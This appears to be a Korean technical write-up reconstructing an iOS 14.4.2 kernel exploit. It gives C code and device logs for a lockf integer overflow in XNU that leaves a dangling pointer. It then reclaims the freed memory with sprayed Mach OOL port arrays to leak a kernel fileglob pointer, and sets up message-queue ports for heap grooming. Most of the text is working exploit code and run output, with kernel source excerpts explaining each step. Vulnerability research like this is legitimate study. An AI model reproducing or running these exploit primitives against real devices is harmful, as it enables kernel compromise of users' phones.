    printf("======================== \n");
#endif

	if (ofd_set_lock(urandom_fd, F_RDLCK, (off_t)INT64_MAX, (off_t)0) < 0) {
        return -1;
    }
#if ENABLE_HELPER 
    urandom_v_lockf = tfp0_kread64(urandom_vnode + off_vnode_v_lockf);
    printf("[STAGE1.1] v_lockf(A) = 0x%llX\n", urandom_v_lockf);
    lf_start = tfp0_kread64(urandom_v_lockf + off_lockf_lf_start);
    lf_end = tfp0_kread64(urandom_v_lockf + off_lockf_lf_end);
    printf("[STAGE1.1] v_lockf(A)->lf_start = %lld, lf_end = %lld\n", lf_start, lf_end);
    lf_head = tfp0_kread64(urandom_v_lockf + off_lockf_lf_head);
    lf_next = tfp0_kread64(urandom_v_lockf + off_lockf_lf_next);
    printf("[STAGE1.1] v_lockf(A)->lf_head = 0x%llX, lf_next = 0x%llX\n", lf_head, lf_next);

    if(lf_next) {
        urandom_v_lockf = lf_next;
        printf("[STAGE1.1] v_lockf(B) = 0x%llX\n", urandom_v_lockf);
        lf_start = tfp0_kread64(urandom_v_lockf + off_lockf_lf_start);
        lf_end = tfp0_kread64(urandom_v_lockf + off_lockf_lf_end);
        printf("[STAGE1.1] v_lockf(B)->lf_start = %lld, lf_end = %lld\n", lf_start, lf_end);
        lf_head = tfp0_kread64(urandom_v_lockf + off_lockf_lf_head);
        lf_next = tfp0_kread64(urandom_v_lockf + off_lockf_lf_next);
        printf("[STAGE1.1] v_lockf(B)->lf_head = 0x%llX, lf_next = 0x%llX\n", lf_head, lf_next);
    } else {
        printf("[STAGE1.1] v_lockf(B) should be exists!\n"); while(1) {};
    }
    printf("======================== \n");
#endif

	if (ofd_set_lock(urandom_fd, F_UNLCK, (off_t)30, (off_t)0x7fffffffffffffe2ULL) < 0) {
        return -1;
    }
#if ENABLE_HELPER 
    urandom_v_lockf = tfp0_kread64(urandom_vnode + off_vnode_v_lockf);
    printf("[STAGE1.2] v_lockf(A) = 0x%llX\n", urandom_v_lockf);
    lf_start = tfp0_kread64(urandom_v_lockf + off_lockf_lf_start);
    lf_end = tfp0_kread64(urandom_v_lockf + off_lockf_lf_end);
    printf("[STAGE1.2] v_lockf(A)->lf_start = %lld, lf_end = %lld\n", lf_start, lf_end);
    lf_head = tfp0_kread64(urandom_v_lockf + off_lockf_lf_head);
    lf_next = tfp0_kread64(urandom_v_lockf + off_lockf_lf_next);
    printf("[STAGE1.2] v_lockf(A)->lf_head = 0x%llX, lf_next = 0x%llX\n", lf_head, lf_next);

    if(lf_next) {
        urandom_v_lockf = lf_next;
        printf("[STAGE1.2] v_lockf(B) = 0x%llX\n", urandom_v_lockf);
        lf_start = tfp0_kread64(urandom_v_lockf + off_lockf_lf_start);
        lf_end = tfp0_kread64(urandom_v_lockf + off_lockf_lf_end);
        printf("[STAGE1.2] v_lockf(B)->lf_start = %lld, lf_end = %lld\n", lf_start, lf_end);
        lf_head = tfp0_kread64(urandom_v_lockf + off_lockf_lf_head);
        lf_next = tfp0_kread64(urandom_v_lockf + off_lockf_lf_next);
        printf("[STAGE1.2] v_lockf(B)->lf_head = 0x%llX, lf_next = 0x%llX\n", lf_head, lf_next);
    } else {
        printf("[STAGE1.2] v_lockf(B) should be exists!\n"); while(1) {};
    }
    printf("======================== \n");
#endif

	if (ofd_set_lock(urandom_fd, F_RDLCK, (off_t)15, (off_t)10) < 0) {
        return -1;
    }
#if ENABLE_HELPER 
    urandom_v_lockf = tfp0_kread64(urandom_vnode + off_vnode_v_lockf);
    printf("[STAGE1.3] v_lockf(A) = 0x%llX\n", urandom_v_lockf);
    lf_start = tfp0_kread64(urandom_v_lockf + off_lockf_lf_start);
    lf_end = tfp0_kread64(urandom_v_lockf + off_lockf_lf_end);
    printf("[STAGE1.3] v_lockf(A)->lf_start = %lld, lf_end = %lld\n", lf_start, lf_end);
    lf_head = tfp0_kread64(urandom_v_lockf + off_lockf_lf_head);
    lf_next = tfp0_kread64(urandom_v_lockf + off_lockf_lf_next);
    printf("[STAGE1.3] v_lockf(A)->lf_head = 0x%llX, lf_next = 0x%llX\n", lf_head, lf_next);

    if(lf_next) {
        urandom_v_lockf = lf_next;
        printf("[STAGE1.3] v_lockf(DANGLING C) = 0x%llX\n", urandom_v_lockf);
        printf("[STAGE1.3] Since C is freed, however, the contents of C's memory are no longer guaranteed, leaving a dangling pointer!\n");
        const int sizeof_lockf = 0x60;
        tfp0_khexdump(urandom_v_lockf, sizeof_lockf);
        // lf_start = tfp0_kread64(urandom_v_lockf + off_lockf_lf_start);
        // lf_end = tfp0_kread64(urandom_v_lockf + off_lockf_lf_end);
        // printf("[STAGE1.3] v_lockf(DANGLING C)->lf_start = %lld, lf_end = %lld\n", lf_start, lf_end);
        // lf_head = tfp0_kread64(urandom_v_lockf + off_lockf_lf_head);
        // lf_next = tfp0_kread64(urandom_v_lockf + off_lockf_lf_next);
        // printf("[STAGE1.3] v_lockf(DANGLING C)->lf_head = 0x%llX, lf_next = 0x%llX\n", lf_head, lf_next);
    } else {
        printf("[STAGE1.3] v_lockf(DANGLING C) should be exists!\n"); while(1) {};
    }
    printf("======================== \n");
#endif
...
}

실행 결과는 다음과 같다.

lock list 중 (B)가 INT64_MAX였던 end값이 오버플로우 취약점에 의해 INT64_MIN으로 바뀌었으며,

마지막으로, A의 lf_next 포인터를 가리키는 ©는 할당이 해제되었다.

iPhone-8--1442:~ root# pendulum
[i] offsets selected for iOS 14.4.2
tfp0: 0xe03
tfp0_get_kbase ret: 0, tfp0_kbase: 0xfffffff01c0a0000, tfp0_kslide: 0x1509c000
[i] opened urandom fd: 6
[STAGE1] urandom_vnode = 0xFFFFFFE19D69B450
[STAGE1] v_lockf(A) = 0xFFFFFFE4CDEDA040
[STAGE1] v_lockf(A)->lf_start = 10, lf_end = 19
[STAGE1] v_lockf(A)->lf_head = 0xFFFFFFE19D69B518, lf_next = 0x0
========================
[STAGE1.1] v_lockf(A) = 0xFFFFFFE4CDEDA040
[STAGE1.1] v_lockf(A)->lf_start = 10, lf_end = 19
[STAGE1.1] v_lockf(A)->lf_head = 0xFFFFFFE19D69B518, lf_next = 0xFFFFFFE4CDEBFBA0
[STAGE1.1] v_lockf(B) = 0xFFFFFFE4CDEBFBA0
[STAGE1.1] v_lockf(B)->lf_start = 9223372036854775807, lf_end = -1
[STAGE1.1] v_lockf(B)->lf_head = 0xFFFFFFE19D69B518, lf_next = 0x0
========================
[STAGE1.2] v_lockf(A) = 0xFFFFFFE4CDEDA040
[STAGE1.2] v_lockf(A)->lf_start = 10, lf_end = 19
[STAGE1.2] v_lockf(A)->lf_head = 0xFFFFFFE19D69B518, lf_next = 0xFFFFFFE4CDEBFBA0
[STAGE1.2] v_lockf(B) = 0xFFFFFFE4CDEBFBA0
[STAGE1.2] v_lockf(B)->lf_start = -9223372036854775808, lf_end = -1
[STAGE1.2] v_lockf(B)->lf_head = 0xFFFFFFE19D69B518, lf_next = 0x0
========================
[STAGE1.3] v_lockf(A) = 0xFFFFFFE4CDEDA040
[STAGE1.3] v_lockf(A)->lf_start = 10, lf_end = 14
[STAGE1.3] v_lockf(A)->lf_head = 0xFFFFFFE19D69B518, lf_next = 0xFFFFFFE4CDED8D20
[STAGE1.3] v_lockf(DANGLING C) = 0xFFFFFFE4CDED8D20
[STAGE1.3] Since C is freed, however, the contents of C's memory are no longer guaranteed, leaving a dangling pointer!
[0xffffffe4cded8d20+0x000] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
[0xffffffe4cded8d20+0x010] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
[0xffffffe4cded8d20+0x020] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
[0xffffffe4cded8d20+0x030] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
[0xffffffe4cded8d20+0x040] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
[0xffffffe4cded8d20+0x050] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
========================

2. fileglob 주소값 유출

다음으로, C공간을 재점유하기 위해 Mach OOL ports descriptor에 12개의 포트를 넣어 점유하게끔 만든다.

fileport를 넣는데, 이중에 ports[2]만 예외로 -1인 MACH_PORT_DEAD 값을 넣는다.

 // 00000000000072E4
kern_return_t spray_default_kalloc_ool_ports_with_dead(mach_port_t where, mach_port_t target_port) {
    const int port_cnt = 12;
    mach_port_t* ports = malloc(sizeof(mach_port_t) * port_cnt);
    for (int i = 0; i < port_cnt; i++) {
        ports[i] = target_port;
    }
    ports[2] = MACH_PORT_DEAD;

    struct default_msg* message = (struct default_msg*)calloc(1, sizeof(struct default_msg));
    message->header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    message->header.msgh_size = sizeof(struct default_msg);
    message->header.msgh_remote_port = where;
    message->body.msgh_descriptor_count = 1;
    message->descriptor.address = ports;
    message->descriptor.deallocate = false;
    message->descriptor.copy = MACH_MSG_PHYSICAL_COPY;
    message->descriptor.disposition = MACH_MSG_TYPE_COPY_SEND;
    message->descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    message->descriptor.count = port_cnt;

    kern_return_t kr = mach_msg(
      &message->header,
      MACH_SEND_MSG | MACH_SEND_INTERRUPT | MACH_SEND_NOIMPORTANCE,
      message->header.msgh_size,
      0,
      MACH_PORT_NULL,
      MACH_MSG_TIMEOUT_NONE,
      MACH_PORT_NULL);

    free(message);
    free(ports);

    if (kr) {
        printf("[-] Failed to send OOL message: 0x%x (%s)\n", kr, mach_error_string(kr));
        return KERN_FAILURE;
    }
    return KERN_SUCCESS;
}
 

int main(void)
{
...
    // create urandom file port
    mach_port_name_t fileport_name = MACH_PORT_NULL;
    fileport_makeport(urandom_fd, &fileport_name);
... 
    // Reoccupy with an array of 12 Mach OOL ports
    // userspace names: 12 * sizeof(mach_port_name_t) = 0x30
    // XNU objects:     12 * sizeof(ipc_object_t)      = 0x60
    // fake struct lockf

    // (lldb) p/x offsetof(lockf, lf_end)
    // (unsigned long) 0x0000000000000010

    /*
    +0x08 lf_start = target ipc_port *
    +0x10 lf_end   = -1
    +0x18 lf_id    = target ipc_port *
    ...
    +0x58 lf_owner = target ipc_port *
    */
    spray_default_kalloc_ool_ports_with_dead(reply_port, fileport_name);
...
}

lockf 구조체 크기는 0x60이고 KHEAP_DEFAULT 타입이기 때문에, default.kalloc.96 존에 속하게 된다.

Screenshot 2026-07-28 at 11.41.16 AM.png

유저랜드의 spray_default_kalloc_ool_ports_with_dead 함수로 인해 커널에서 추적을 해본다면,

mach_msg_overwrite_trapipc_kmsg_copyinipc_kmsg_copyin_bodyipc_kmsg_copyin_ool_ports_descriptor

Drawing 2026-07-28 11.48.23.excalidraw-fs8.png

ipc_kmsg_copyin_ool_ports_descriptor 에서 data = kalloc(ports_length); 코드에 의해 96바이트만큼 descriptor 배열이 할당된다.

이러한 이유는 mach_port_t 크기가 8바이트이며, 12개의 포트를 넣었기 때문에 12*8=96이 된다.

if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) {
		*mr = MACH_SEND_TOO_LARGE;
		return NULL;
	}

descriptor 배열은 ipc_object_copyin에서 수행되면서

ipc_object_copyinipc_right_lookup_writeipc_entry_lookup

즉, 유저랜드의 fileport가 커널의 ipc_entry_lookup 함수에 의해 커널의 ipc port* 타입의 주소로 변환된다.

Screenshot 2026-07-28 at 10.40.58 PM.png

Screenshot 2026-07-28 at 10.43.37 PM.png

실제로 오른쪽 화면 창의 커널 덤프 내용을 확인해보면, locklist 중 C에는 descriptor 배열 데이터가 차지되있다. 하나(MACH_PORT_DEAD)를 제외한 모든 값들이 0xffffffe19c400690, 즉 fileport의 ipc 포인터 커널 주소들로 이루어져있다.

Screenshot 2026-07-28 at 10.59.09 PM.png

조금 더 이전 단계인, 유저랜드의 파일 디스크립터 fd가 fileport로 변환시키는 fileport_makeport 를 잠시 살펴보자면,

mach_port_name_t fileport_name = MACH_PORT_NULL;
fileport_makeport(urandom_fd, &fileport_name);

sys_fileport_makeport
fileport_alloc
ipc_kobject_alloc_port
ipc_kobject_init_portipc_kobject_set_atomically 에서 ipc port로 변환하는 과정 중 kobject(+0x68 오프셋)이 fileglob 포인터로 세트된다.

(lldb) p/x offsetof(ipc_port, kdata.kobject)
(unsigned long) 0x0000000000000068
// xnu-7195.50.7.100.1/osfmk/kern/ipc_misc.c:52

ipc_port_t
fileport_alloc(struct fileglob *fg)
{
	return ipc_kobject_alloc_port((ipc_kobject_t)fg, IKOT_FILEPORT,
	           IPC_KOBJECT_ALLOC_MAKE_SEND | IPC_KOBJECT_ALLOC_NSREQUEST);
}
// xnu-7195.50.7.100.1/osfmk/kern/ipc_kobject.c:740
ipc_port_t
ipc_kobject_alloc_port(
	ipc_kobject_t           kobject,
	ipc_kobject_type_t      type,
	ipc_kobject_alloc_options_t     options)
{
	ipc_port_t port = ipc_port_alloc_kernel();

	if (port == IP_NULL) {
		panic("ipc_kobject_alloc_port(): failed to allocate port");
	}

	ipc_kobject_init_port(port, kobject, type, options);
	return port;
}

// xnu-7195.50.7.100.1/osfmk/kern/ipc_kobject.c:705
static inline void
ipc_kobject_init_port(
	ipc_port_t port,
	ipc_kobject_t kobject,
	ipc_kobject_type_t type,
	ipc_kobject_alloc_options_t options)
{
	ipc_kobject_set_atomically(port, kobject, type);
	...
}

// xnu-7195.50.7.100.1/osfmk/kern/ipc_kobject.c:676
void
ipc_kobject_set_atomically(
	ipc_port_t                      port,
	ipc_kobject_t           kobject,
	ipc_kobject_type_t      type)
{
	assert(type == IKOT_NONE || ip_active(port));
#if     MACH_ASSERT
	port->ip_spares[2] = (port->ip_object.io_bits & IO_BITS_KOTYPE);
#endif  /* MACH_ASSERT */
	port->ip_object.io_bits = (port->ip_object.io_bits & ~IO_BITS_KOTYPE) | type;
	if (ip_is_kolabeled(port)) {
		ipc_kobject_label_t labelp = port->ip_kolabel;
		labelp->ikol_kobject = kobject;
	} else {
		port->ip_kobject = kobject;
	}
	if (type != IKOT_NONE) {
		/* Once set, this bit can never be unset */
		port->ip_object.io_bits |= IO_BITS_KOBJECT;
	}
}

fileglob 포인터를 leak시키기 위해 방금전 96바이트 할당된 OOL 배열은 fake lockf가 되었다. ofd_get_lock를 수행한다면 OOL 배열을 여전히 struct lockf로 믿고 있을 것이다.

int ofd_get_lock(int fd, off_t start, off_t length, struct flock *lock_request)
{    
    *lock_request = (struct flock) {
        .l_start = start,
        .l_len = length,
        .l_pid = 0,
        .l_type = F_WRLCK,
        .l_whence = SEEK_SET,
    };

    return fcntl(fd, F_OFD_GETLK, lock_request);
}

int main(void) {

/*
    +0x08 lf_start = target ipc_port *
    +0x10 lf_end   = -1
    +0x18 lf_id    = target ipc_port *
    ...
    +0x58 lf_owner = target ipc_port *
    */
// ...
    // 000000000000527C
    // Recover the file_glob kptr by leaking two values (fl.l_start, fl.l_pid) using F_OFD_GETLK
    // fl.l_start = fileport ipc_port *
    // fl.l_pid = proc_pid((proc *)fileport_ipc_port)
    //          = low32(fileport_ipc_port->ip_kobject)
    //          = low32(/dev/urandom fileglob *)
    struct flock* fl = calloc(1, sizeof(struct flock));
    ofd_get_lock(urandom_fd, 0, 0, fl);
    uint64_t fileglob_kptr = (fl->l_start & 0xFFFFFFFF00000000) | (fl->l_pid & 0xFFFFFFFF);
    printf("[i] Leaked fileglob kptr = 0x%llX\n", fileglob_kptr);
// ...
}

ofd_get_lock 를 수행했을때, sys_fcntl_nocancel에서 struct flock을 먼저 copyin하고, lf_advlock 을 호출하고, fl이 그대로 사용자 공간으로 copyout된다.

lf_advlock 에 의해 fileport의 ipc 포인터 주소가 담긴 fl.l_start와 fileglob 하위 32비트가 담긴 fl.l_pid , 이렇게 2가지를 누출시킬 수 있다.

해당 2가지를 조합함으로써 온전한 fileglob 포인터를 획득하게 된다.

Drawing 2026-07-29 04.31.41.excalidraw-fs8.png

3. qlimit가 0x400인 ipc port를 32개 할당

실패한 lockf 주소 후보를 0x60 크기의 OOL 배열로 하나씩 고정하는 heap-grooming 장치를 위해 작성해둔 코드로 보인다. 각각 queued ipc_kmsg, kalloc.96 관련 OOL 배열은 0개이며, 오직 ipc port만 32개 할당되는데, 실제 역할은 prepare_socket_lockf_pair()에서 좀 더 살펴봐야 이해할 수 있을거 같다.

kern_return_t create_minimal_thread_message_channel(struct minimal_thread_message_channel *channel)
{
    /*
     * This is only a reusable userspace template. No kernel 0x60 allocation
     * exists until this complex message is actually sent.
     */
    channel->ool_template.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    channel->ool_template.header.msgh_size = sizeof(struct default_msg);
    channel->ool_template.header.msgh_id = 1;
    channel->ool_template.body.msgh_descriptor_count = 1;
    channel->ool_template.descriptor.address = channel->ool_port_names;
    channel->ool_template.descriptor.deallocate = false;
    channel->ool_template.descriptor.copy = MACH_MSG_PHYSICAL_COPY;
    channel->ool_template.descriptor.disposition = MACH_MSG_TYPE_COPY_SEND;
    channel->ool_template.descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    channel->ool_template.descriptor.count = THREAD_CHANNEL_OOL_PORT_COUNT;

    for (unsigned int i = 0; i < THREAD_CHANNEL_PORT_COUNT; i++) {
        mach_port_limits_t limits = {
            .mpl_qlimit = THREAD_CHANNEL_QUEUE_LIMIT,
        };

        kern_return_t kr = mach_port_allocate(
            mach_task_self(),
            MACH_PORT_RIGHT_RECEIVE,
            &channel->receive_ports[i]);
        if (kr != KERN_SUCCESS) {
            destroy_minimal_thread_message_channel(channel);
            return kr;
        }

        channel->receive_port_count++;

        kr = mach_port_set_attributes(
            mach_task_self(),
            channel->receive_ports[i],
            MACH_PORT_LIMITS_INFO,
            (mach_port_info_t)&limits,
            MACH_PORT_LIMITS_INFO_COUNT);
        if (kr != KERN_SUCCESS) {
            destroy_minimal_thread_message_channel(channel);
            return kr;
        }
    }

    return KERN_SUCCESS;
}

int main(void) {
//...
    // Minimal create_default_thread_channel(ctx, 0x60, 0x8000).
    // This creates 32 receive ports with qlimit 0x400 and prepares one
    // 12-entry OOL-port template. It sends no messages at this stage.
    // The original descriptor-free 0x8000-message warm-up is intentionally
    // omitted because this reconstruction only adds channel creation.
    struct minimal_thread_message_channel thread_channel = {0};
    kr = create_minimal_thread_message_channel(&thread_channel);
    if (kr != KERN_SUCCESS) {
        printf("[-] failed to create thread-message channel: 0x%x (%s)\n",
            kr, mach_error_string(kr));
        return -1;
    }
    printf("[i] thread-message channel: %u ports, qlimit=0x%x, capacity=0x8000\n", thread_channel.receive_port_count, THREAD_CHANNEL_QUEUE_LIMIT);

#if ENABLE_HELPER
    printf("[STAGE3] %s:%d\n", __FUNCTION__, __LINE__);
    for (int i = 0; i < thread_channel.receive_port_count; i++) {
        uint32_t receive_port = thread_channel.receive_ports[i];
        uint64_t port = tfp0_find_port(receive_port);
        /*
        (lldb) p/x offsetof(ipc_port, ip_messages.data.port.messages.ikmq_base)
        (unsigned long) 0x0000000000000040
        (lldb) p/x offsetof(ipc_port, ip_messages.data.port.receiver_name)
        (unsigned long) 0x000000000000004c
        (lldb) p/x offsetof(ipc_port, ip_messages.data.port.msgcount)
        (unsigned long) 0x0000000000000050
        (lldb) p/x offsetof(ipc_port, data.receiver)
        (unsigned long) 0x0000000000000060
        */
        uint64_t ikmq_base = tfp0_kread64(receive_port + 0x40);
        uint32_t receiver_name = tfp0_kread64(receive_port + 0x4c);

        uint32_t queue_info = tfp0_kread32(port + 0x50);
        uint16_t msgcount = (uint16_t)(queue_info & 0xffff);
        uint16_t qlimit = (uint16_t)(queue_info >> 16);

        uint32_t qcontext = tfp0_kread32(port + 0x54);
        uint64_t receiver = tfp0_kread64(port + 0x60);
        // printf("[STAGE3] i=%u port=0x%llX ikmq_base=0x%llX receiver_name=0x%llX msgcount=0x%llX receiver=0x%llX\n", i, port, ikmq_base, receiver_name, msgcount, receiver);
        printf("[STAGE3] i=%d name=0x%X port=0x%llX ikmq_base=0x%llX receiver_name=0x%X msgcount=%u qlimit=0x%X qcontext=0x%X receiver=0x%llX\n",
                i, receive_port, port, ikmq_base, receiver_name, msgcount, qlimit, qcontext, receiver);
    }
    getchar();
#endif
//...
}

실행 결과:

[i] offsets selected for iOS 14.4.2
tfp0: 0xf03
tfp0_get_kbase ret: 0, tfp0_kbase: 0xfffffff01ba50000, tfp0_kslide: 0x14a4c000
[i] opened urandom fd: 6
[STAGE1] urandom_vnode = 0xFFFFFFE19D3D5930, urandom_fileglob = 0xFFFFFFE19FFF5920
[STAGE1] v_lockf(A) = 0xFFFFFFE4CDEBF5A0
[STAGE1] v_lockf(A)->lf_start = 10, lf_end = 19
[STAGE1] v_lockf(A)->lf_head = 0xFFFFFFE19D3D59F8, lf_next = 0x0
======================== 
[STAGE1.1] v_lockf(A) = 0xFFFFFFE4CDEBF5A0
[STAGE1.1] v_lockf(A)->lf_start = 10, lf_end = 19
[STAGE1.1] v_lockf(A)->lf_head = 0xFFFFFFE19D3D59F8, lf_next = 0xFFFFFFE4CDE788A0
[STAGE1.1] v_lockf(B) = 0xFFFFFFE4CDE788A0
[STAGE1.1] v_lockf(B)->lf_start = 9223372036854775807, lf_end = -1
[STAGE1.1] v_lockf(B)->lf_head = 0xFFFFFFE19D3D59F8, lf_next = 0x0
======================== 
[STAGE1.2] v_lockf(A) = 0xFFFFFFE4CDEBF5A0
[STAGE1.2] v_lockf(A)->lf_start = 10, lf_end = 19
[STAGE1.2] v_lockf(A)->lf_head = 0xFFFFFFE19D3D59F8, lf_next = 0xFFFFFFE4CDE788A0
[STAGE1.2] v_lockf(B) = 0xFFFFFFE4CDE788A0
[STAGE1.2] v_lockf(B)->lf_start = -9223372036854775808, lf_end = -1
[STAGE1.2] v_lockf(B)->lf_head = 0xFFFFFFE19D3D59F8, lf_next = 0x0
======================== 
[STAGE1.3] v_lockf(A) = 0xFFFFFFE4CDEBF5A0
[STAGE1.3] v_lockf(A)->lf_start = 10, lf_end = 14
[STAGE1.3] v_lockf(A)->lf_head = 0xFFFFFFE19D3D59F8, lf_next = 0xFFFFFFE4CDE8C960
[STAGE1.3] v_lockf(DANGLING C) = 0xFFFFFFE4CDE8C960
[STAGE1.3] Since C is freed, however, the contents of C's memory are no longer guaranteed, leaving a dangling pointer!
[0xffffffe4cde8c960+0x000] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ 
[0xffffffe4cde8c960+0x010] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ 
[0xffffffe4cde8c960+0x020] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ 
[0xffffffe4cde8c960+0x030] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ 
[0xffffffe4cde8c960+0x040] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ 
[0xffffffe4cde8c960+0x050] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ 
======================== 
[STAGE2] Reoccupied with OOL ports allocation kaddr (KHEAP_DEFAULT/kalloc.96) = 0xFFFFFFE4CDE8C960
[STAGE2] tfp0_find_port(fileport_name) = 0xFFFFFFE19D318348
[i] Leaked fileglob kptr = 0xFFFFFFE19FFF5920
[i] thread-message channel: 32 ports, qlimit=0x400, capacity=0x8000
[STAGE3] main:1380
[STAGE3] i=0 name=0x2803 port=0xFFFFFFE19D87AB50 ikmq_base=0xFFFFFFE19D87AB50 receiver_name=0x9D87AB50 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=1 name=0x2703 port=0xFFFFFFE19E093E58 ikmq_base=0xFFFFFFE19E093E58 receiver_name=0x9E093E58 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=2 name=0x2603 port=0xFFFFFFE1A0161C38 ikmq_base=0xFFFFFFE1A0161C38 receiver_name=0xA0161C38 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=3 name=0x2503 port=0xFFFFFFE19FC98FC0 ikmq_base=0xFFFFFFE19FC98FC0 receiver_name=0x9FC98FC0 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=4 name=0x1803 port=0xFFFFFFE19E571B90 ikmq_base=0xFFFFFFE19E571B90 receiver_name=0x9E571B90 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=5 name=0x2403 port=0xFFFFFFE19FF25998 ikmq_base=0xFFFFFFE19FF25998 receiver_name=0x9FF25998 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=6 name=0x1903 port=0xFFFFFFE19EE09F80 ikmq_base=0xFFFFFFE19EE09F80 receiver_name=0x9EE09F80 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=7 name=0x2303 port=0xFFFFFFE19E572958 ikmq_base=0xFFFFFFE19E572958 receiver_name=0x9E572958 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=8 name=0x1A03 port=0xFFFFFFE19D5656F8 ikmq_base=0xFFFFFFE19D5656F8 receiver_name=0x9D5656F8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=9 name=0x1B03 port=0xFFFFFFE19E550738 ikmq_base=0xFFFFFFE19E550738 receiver_name=0x9E550738 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=10 name=0x1C03 port=0xFFFFFFE19D7C3918 ikmq_base=0xFFFFFFE19D7C3918 receiver_name=0x9D7C3918 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=11 name=0x2203 port=0xFFFFFFE19FBF9068 ikmq_base=0xFFFFFFE19FBF9068 receiver_name=0x9FBF9068 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=12 name=0x1D03 port=0xFFFFFFE19E241A40 ikmq_base=0xFFFFFFE19E241A40 receiver_name=0x9E241A40 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=13 name=0x2103 port=0xFFFFFFE19EFB2178 ikmq_base=0xFFFFFFE19EFB2178 receiver_name=0x9EFB2178 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=14 name=0x1E03 port=0xFFFFFFE19FC6BDB0 ikmq_base=0xFFFFFFE19FC6BDB0 receiver_name=0x9FC6BDB0 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=15 name=0x1F03 port=0xFFFFFFE19E572610 ikmq_base=0xFFFFFFE19E572610 receiver_name=0x9E572610 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=16 name=0x2003 port=0xFFFFFFE19FF766B8 ikmq_base=0xFFFFFFE19FF766B8 receiver_name=0x9FF766B8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=17 name=0x2A03 port=0xFFFFFFE19E114DC8 ikmq_base=0xFFFFFFE19E114DC8 receiver_name=0x9E114DC8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=18 name=0x5403 port=0xFFFFFFE1A01ECD20 ikmq_base=0xFFFFFFE1A01ECD20 receiver_name=0xA01ECD20 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=19 name=0x5303 port=0xFFFFFFE19E21DAE8 ikmq_base=0xFFFFFFE19E21DAE8 receiver_name=0x9E21DAE8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=20 name=0x2B03 port=0xFFFFFFE19EFB2FE8 ikmq_base=0xFFFFFFE19EFB2FE8 receiver_name=0x9EFB2FE8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=21 name=0x2C03 port=0xFFFFFFE19D96BC60 ikmq_base=0xFFFFFFE19D96BC60 receiver_name=0x9D96BC60 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=22 name=0x2D03 port=0xFFFFFFE19FC691B8 ikmq_base=0xFFFFFFE19FC691B8 receiver_name=0x9FC691B8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=23 name=0x2E03 port=0xFFFFFFE19FC4E4C0 ikmq_base=0xFFFFFFE19FC4E4C0 receiver_name=0x9FC4E4C0 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=24 name=0x2F03 port=0xFFFFFFE19E0CDAE8 ikmq_base=0xFFFFFFE19E0CDAE8 receiver_name=0x9E0CDAE8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
[STAGE3] i=25 name=0x5203 port=0xFFFFFFE19FC4F9C0 ikmq_base=0xFFFFFFE19FC4F9C0 receiver_name=0x9FC4F9C0 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0
